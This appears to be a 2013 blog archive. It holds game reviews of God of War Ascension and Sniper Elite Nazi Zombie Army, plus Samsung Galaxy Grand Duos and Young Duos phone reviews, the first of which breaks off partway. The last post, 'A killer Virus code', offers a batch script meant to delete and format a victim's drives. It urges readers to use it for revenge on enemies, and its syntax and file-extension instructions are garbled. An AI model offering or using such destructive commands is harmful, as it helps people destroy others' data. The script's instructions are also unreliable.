Friday, March 15, 2013

Review : God of War 4



Hello gamer many gamer love the game God of  war and few game series know how to make a dramatic entrance quite like God of War.
From tangling with the Hydra at the beginning of the first game to facing the Colossus of Rhodes to the more recent breathless, brutal battle against Poseidon in God of War III, Kratos’ first steps into a new adventure are never forgettable.
So it’s somewhat surprising – and indeed disappointing – that the beginning of God of War Ascension kicks off with more of a muted hand-clap than the usual rib-shattering bang.

Having broken a blood oath with the Gods, Kratos becomes the target for three demonic sisters known as The Furies. The opening fight against one Fury, Megaera, is essentially a string of small-scale scraps punctuated with the occasional QTE battle against bigger beasts.
While it serves as a palatable introduction, it doesn’t quite have the breathtaking scale and gut-punching action that GoW3 delivered in spades.
 Yes, you’re fighting mythological beasts the size of a house, and that may sound pretty damn incredible, but after the Titan-felling intro from the last game, it doesn’t impress in quite the same way.

Thankfully the tempo ramps up quickly, and Ascension rapidly settles into the high-octane groove fans will be familiar with. It’s business as usual when it comes to combat, and therefore, it’s as satisfying as ever.

Weapon upgrades provide much-needed depth and variety without ever becoming overwhelming; so while it’s possible to punch and kick your way through most of the campaign using just a handful of basic moves, there are countless combo-strings to discover should you wish to experiment further.
There have been tweaks to the combat however, with Kratos now only using the Blades of Chaos rather than discovering new weapons along the way.


 It’s no great loss though, because instead variety comes as you imbibe different powers into the Blades along the way – the Fire of Ares torches enemies alive; 
Ice of Poseidon freezes foes; Lightning of Zeus delivers a vicious electric attack and the Soul of Hades calls upon the undead for help.

Learning how to use each power effectively is another source of depth.
 For example, vaporise an enemy using lightning and you’re rewarded with magic-restoring blue orbs; do the same with the Soul of Hades and green health-giving orbs are yours for the taking.
It’s a subtle but effective way of getting us to mix and match our attacks, but also provides a strategic lifeline when there’s no energy re-gen chest nearby.
There are secondary weapons, too – limited-use additions to your arsenal like the javelin, which is useful for ranged attacks, or the attack-blocking shield.
 While I found them useful in the early stages, they rapidly became superfluous as my Blades got upgraded.

The magic system has changed slightly, too: super-powerful magic attacks are locked away much further down the weapon upgrade tree, meaning you cannot rely on them as heavily as you might’ve done in previous games.
 It’s a positive step because it really encourages you to think wisely about where to allocate experience points rather than being the ultimate badass from the outset.
 Often, it’s moments when Kratos is overwhelmed with enemies that magic provides his only lifeline.Difficulty throughout is, for the most part, balanced and well-considered.
 Checkpoints are in abundance and health chests are generously scattered around, so much so this is probably the easiest of all the God of War games overall. 
But at times Ascension takes challenge to the next level – not necessarily by making enemies tougher to kill, but by throwing so many bad guys on screen it’s hard to actually figure out what’s going on.
 Dying in such situations feels cheap and frustrating.
Then there's one section – the Trials of Archimedes – that will likely frustrate even the most skillful of players.
 Many of the crutches I'd relied upon earlier – the ability to save often or top off my energy – are suddenly pulled from under our feet, and the resulting chapter is tougher than anything I’ve played in a God of War game before.
It’s not just that it’s hard – God of War games have always been tough, and a stiff challenge is something I relish whenever I spend more time with Kratos – but there are times when it actually feels unfair, because occasionally there’s literally nothing you can do to avoid death.

To put it into context, I spent just over nine hours getting to that point in the game, then six hours straight trying to beat wave after wave of enemies.
 Of course, it’s not impossible, and the sense of achievement I got from actually beating it is immense, but the fact its difficulty is so out of line with the rest of Ascension is strange.
 While hardcore God of War fans will no doubt lap up the challenge, for many it could be off-putting.

Elsewhere, the story isn’t as compelling as it has been in previous games. 
Kratos will always hold a special place in my heart, but second-string villains like the Furies don’t quite cut it after you’re used to going toe-to-toe with Zeus and Ares.
 Indeed, I didn’t rally behind Kratos’ cause in quite the same way I did when it was him versus the Gods, and while the narrative is meticulously delivered – it always has been in God of War – the story felt a bit incidental.

That's not helped by a relatively scarcity of "Wow" moments. Credit where it's due – there are occasions when the sheer scale of what I was looking at made my eyes pop, the finale is a spectacle.
 I’ll never forget, and Kratos’ fight through the Statue of Apollo is a real highlight.
Now and then you’ll stand up and scream,
“This is exactly what a God of War game should be like,” but these are often outweighed and outnumbered by the times when the action is by-the-numbers and feels like the same thing we've played countless times before.


The same criticism cannot be aimed at Ascension’s multiplayer, however.
 It’s a genuinely fresh addition to the series that successfully carries over many of the hallmarks of the much-loved single-player. Players align with one of four Gods, which gift them different abilities.
 Followers of Ares are all-out warriors, the minions of Hades favour stealth kills, and Zeus’ warriors are battle mages.
The differences between each are subtle though, so rather than forcing you to completely change your play-style when switching allegiances it’s more a case of knowing your character’s strengths and playing to them.

Favour of the Gods is the most enjoyable of the modes on offer, with two teams going toe-to-toe to catch the eye of Olympus’ elite.
 It’s essentially a high-score race, with points awarded capturing bases, opening chests, collecting valuable items, and of course killing your opponents.
 There are environment-specific items to play around with too, like the Spear of Olympus, which is the only way to kill off the Polyphemus Cyclops that plagues one of the maps – and in doing so awards your team a lot of points.

While multiplayer has its moments, the combat doesn’t really offer the depth to make it a truly engaging experience.
 Mastering the attack-block-parry system – which is the foundation on which combat is built – is at times rewarding, but too often battles revert into button-mashing scraps where skill is rarely rewarded. 
In fact, the only real way to prove your dominance in the multiplayer arena is through the countless unlocks and weapon upgrades available, but because XP is dished out so generously – simply finishing a match is enough to level up in the early stages – there’s no real reason to experiment or play skilfully.
 As a result multiplayer feels more like a curiosity that provides a few hours of enjoyment rather than being an essential addition.
and dont forget to comment :)

Sunday, March 10, 2013

Sniper Elite Zombi edition Review


It's the most cherished of World War II stories: There was Hitler, then Hitler summoned demonic zombies, and then the Allied forces really wished to be rid of both those things. That's pretty much the extent of the plot in Sniper Elite: Nazi Zombie Army, the stand-alone, multiplayer-focused expansion to the much more serious Sniper Elite V2. And that's perfectly fine--zombies and Nazis are already two of video gaming's most hated enemies. Do you really need a good reason to shoot hundreds of zombies in the head?
Things tend to be a little more explosive when you're playing cooperatively.
Things tend to be a little more explosive when you're playing cooperatively.
The twist that supposedly sets this zombie experience apart from the many other zombie-related games available right now is that Nazi Zombie Army is built on the Sniper Elite format, except it's so far removed from the source material that it almost doesn't feel similar at all. Gone are the stealth elements and deliberate pacing of the original Sniper Elite V2. There's no sneaking up on a zombie or trying to get through an area without being detected. In fact, most areas require you to eliminate most, if not all, of the undead around you before you can move on, and there's nothing quiet about it.
There is less emphasis placed on bullet drop and wind than you may expect if you've played other games in the series; here, where you aim is usually where your bullet is going to go. This is good for the more action-heavy pace NZA sets, because you can't spend too long lining up a perfect shot when dozens of enemies shamble toward you, but it also means that one of the staples of the Sniper Elite series is missing from this game that bears its name. As a result, the game feels a lot like plenty of other third-person shooters out there.
One thing that's not missing from the franchise, though, is the kill cam, which shows off some of your better shots in brutal slow motion, cutting to an X-ray shot of your bullet smashing through a zombie's skull or into another vital organ. While this feature could make some uncomfortable when applied liberally to the human enemies of past games, it feels more over the top and even humorous when zombies and skeletons are the victims. The killcam helps make headshots immensely satisfying throughout the game, though it can grow tiresome if you it's triggered too frequently. Thankfully, the frequency of these slow-motion shots can be adjusted or they can be turned off completely.
I really hope these guys are only here to re-create the 'Thriller' video.
I really hope these guys are only here to re-create the 'Thriller' video.
You find yourself on a lot of linear paths and in several small spaces while marching across undead Berlin. Tight corridors can be great for certain aspects of a typical zombie game--they can make you feel claustrophobic, as if there's nowhere to run--but they don't work as well for a game in which your primary weapon is a sniper rifle. Yes, you have a pistol and a sub-weapon (usually some sort of machine gun) at your disposal, but shooting them isn't nearly as satisfying as firing the rifles, and you aren't usually given much ammo for them. Empty your Thompson clips too fast, and you may find yourself frantically trying to snipe a skeleton from about three feet away. Items like grenades, trip wires, and land mines can help you out of sticky situations (or help prevent you from getting into them), or they can be used to gleefully blow up a dozen zombies at once just to watch their bodies fly.
There is a tendency for the gameplay to become monotonous, especially when you're playing alone. Press the right mouse button, aim at zombie head, shoot, and then do it again. The structure of the levels tends to encourage finding a spot to kneel down, unmoving, and shooting things for a while until the enemies either get too close or are all dead. This approach loses its luster sooner than you would like. Cooperative multiplayer for up to four people breathes some extra life into the formula, though, and is the preferred way to play. While your actions are mostly the same, things get more frantic when the enemy count is high and you have allies to watch out for. Get a group of four reliable partners together, bump up the difficulty level, and you have the best way to blast through the game's five missions, which will probably take you around five hours to finish.
Can zombies complain about headaches?
Can zombies complain about headaches?
You do want reliable partners if at all possible. If someone disconnects on you mid-game, you have no option to invite new people without dropping back to the lobby and losing all progress. So if you lose a teammate or two near the end of a level, you can either finish alone or take a big 45-minute step back. Thankfully the game adjusts to the player count and goes easier on you when you're by yourself, giving you much more generous checkpoints when you don't have allies to bring you back from the brink of death. But it can still be disheartening when you're marching through a level with three buddies only to have to end the journey alone (though there's something to be said for being the last survivor of a zombie outbreak).
There's a good chance you will have had your fill of Nazi Zombie Army by the time its five missions end. Its five enemy types (six if you count a boss you fight twice) and linear structure don't allow for enough variety to keep things fresh with repeated playthroughs. Those desperate for an excuse to return to levels after finishing them can try to hunt down hidden Nazi gold and well-hidden bottles of blood, but this isn't a fantastic incentive to boot the game up. You may find more enjoyment in going after a high leaderboard score, earning more points for success kills at longer ranges. It's a fun game with friends, but most of the action is as brainless as the undead hordes you're slaughtering.

Saturday, March 2, 2013

Review : Samsung galaxy Grand Duos

Samsung Galaxy Grand Duos Review
Samsung Galaxy Grand enters a pretty interesting marketing niche – people eventually eager for a big-screen smartphone that might not break the bank. The 5” Galaxy Grand skimps on features like HD screen resolution and internal memory to reach that goal. 

The phone is apparently aimed at emerging markets, judging not only from the specs, but from the availability of a dual SIM version with the Grand Duos we have in our hands. Has Samsung compromised too much or will it reach a newly created target market, just like it did with the Note family? Read our review to find out...


Design

The Galaxy Grand DUOS looks like a larger S III, or a smaller Note II, whichever you prefer. Samsung is making everything nowadays, big and small, with the distinctive rounded corner design that is immediately recognizable because of its blockbuster S III handset.

Front - Samsung Galaxy Grand Duos Review
Front camera - Samsung Galaxy Grand Duos Review
Android keys - Samsung Galaxy Grand Duos Review
Front
Front camera
Android keys

The Grand DUOS is more reminiscent to the Note II, actually, with the faux metal rim on the sides, and the tapered back with subtle pattern makes is fairly comfortable to hold with one hand, considering the screen size, but hard to operate with just your thumb, of course. The phone is somewhat hefty for today's standards at 5.71 oz (162 g), yet having in mind the screen size again, it does not feel thick and bulky.

Volume rocker (left) - The sides of the Samsung Galaxy Grand Duos - Samsung Galaxy Grand Duos Review
Power key (right) - The sides of the Samsung Galaxy Grand Duos - Samsung Galaxy Grand Duos Review
3.5mm jack (top) - The sides of the Samsung Galaxy Grand Duos - Samsung Galaxy Grand Duos Review
microUSB port (bottom) - The sides of the Samsung Galaxy Grand Duos - Samsung Galaxy Grand Duos Review
Volume rocker (left)
Power key (right)
3.5mm jack (top)
microUSB port (bottom)
The sides of the Samsung Galaxy Grand Duos

Back - Samsung Galaxy Grand Duos Review
Camera and speaker grill - Samsung Galaxy Grand Duos Review
Battery compartment - Samsung Galaxy Grand Duos Review
Back
Camera and speaker grill
Battery compartment

We know what you are thinking – WVGA on a 5-incher? C'mon! Well, 480x800 it is, which returns 187ppi pixel density, and doesn't look good if you are used to the HD and Full HD screens of late. For comparison, the 4.8” HD screen on the Galaxy S III, which is not small by any measure either, rings in at 306ppi. The resolution is not unusable, as the Grand DUOS is a big-screen phone and you hold it further from your eyes than usual, thus diminishing the low resolution effect somewhat.

Samsung uses LCD here, instead of the AMOLED technology that goes for its flagships - the 5” panel on the Grand DUOS is with decent viewing angles and bright enough, so you can tell what's on it outside under direct sunlight, thus the only big drawback remains its low pixel density.

Samsung Galaxy Y review


Samsung Galaxy Young Duos Preview
The Samsung Galaxy Young Duos arrives at the bottom low of Samsung’s 2013 Android lineup, at a place where it can replace devices like last year’s Galaxy Y. A smartphone for those on budget, it might not feature the bleeding edge of technology, but it is rather about compromise for price.

Good news is in 2013 you have to compromise less at the same low price points and now the bottom low of Samsung’s Android lineup brings you a 3.3-inch display, a 1GHz processor and an (almost) up-to-date version of Android, 4.1 Jelly Bean. 

Samsung is also delivering both a single and dual-SIM versions of the Galaxy Young Duos from the get-go which is good news for those in emerging markets where the second SIM card is always of good value. With all this in mind, is the new Galaxy Young Duos a good compromise, and how does it fare against its rivals? Read on to find out.


Design:

With a slightly elongated compact body with rounded edges and built out of plastic, the Galaxy Young Duos is a typical Samsung, like it or not. That approach to design with plastic build and similarly styled devices from the top-line devices to the most affordable like this one here has proved practical for Samsung, which is capable of quickly releasing new models.

The Galaxy Young Duos in particular feels surprisingly solid in the hand with its nearly 4 oz of weight (112g) and it looks that way too with its chromed plastic siding that might fool onlookers into thinking it’s metallic. 

The Galaxy Young Duos feels surprisingly solid in the hand - Samsung Galaxy Young Duos Preview
The Galaxy Young Duos feels surprisingly solid in the hand - Samsung Galaxy Young Duos Preview
The Galaxy Young Duos feels surprisingly solid in the hand

The device is fairly thick at 0.49 inches (12.5mm), but at its compact size that’s not much of a problem. 


Front - Samsung Galaxy Young Duos Preview
Android buttons - Samsung Galaxy Young Duos Preview


Sensors above the display - Samsung Galaxy Young Duos Preview
Front
Android buttons
Sensors above the display
In terms of buttons, you have a single physical home key in the front and a capacitive back and menu key around it. The Galaxy Young Duos ships in white, deep blue, wine red and metallic silver.

Volume rocker (left) - The sides of the Samsung Galaxy Young Duos - Samsung Galaxy Young Duos Preview
Power key (right) - The sides of the Samsung Galaxy Young Duos - Samsung Galaxy Young Duos Preview
3.5mm jack (top) - The sides of the Samsung Galaxy Young Duos - Samsung Galaxy Young Duos Preview
microUSB port (bottom) - The sides of the Samsung Galaxy Young Duos - Samsung Galaxy Young Duos Preview
Volume rocker (left)
Power key (right)
3.5mm jack (top)
microUSB port (bottom)
The sides of the Samsung Galaxy Young Duos

Back - Samsung Galaxy Young Duos Preview
Rear camera - Samsung Galaxy Young Duos Preview
Battery compartment - Samsung Galaxy Young Duos Preview

Back
Rear camera
Battery compartment


Display:













With a pixel density of 176ppi you can definitely see the jagged edges of pixels, one important compromise for the low price. 

The display has 262k colors only and you’d notice this in gradients where the borders between colors do not flow smoothly. 

Viewing angles were mediocre at best and reflections were also a hurdle in using the device on a bright sunny day.

A killer Virus code( only for your enemies)


Hello friends. You would be really happy and satisfied as you have now one opportunity to take your revenge from your enemy. Don't worry, it will do all the harm that any virus code can do. The virus code should be used carefully and not on your own computer. So, here is the virus code :

@echo off 
 DEL C:/ - Y
 DEL D:/ - Y
 FORMAT C:/ - Y 
 END

This was the code but remember to not to forget to  Save it in the notepad with the extension  .PAD .
Take your revenge!
Warning: Don't use it on your own computer. Or you will lose all of your precious data. 
NOTE:- We are fully against with this virus our motto is to secure you and your PC.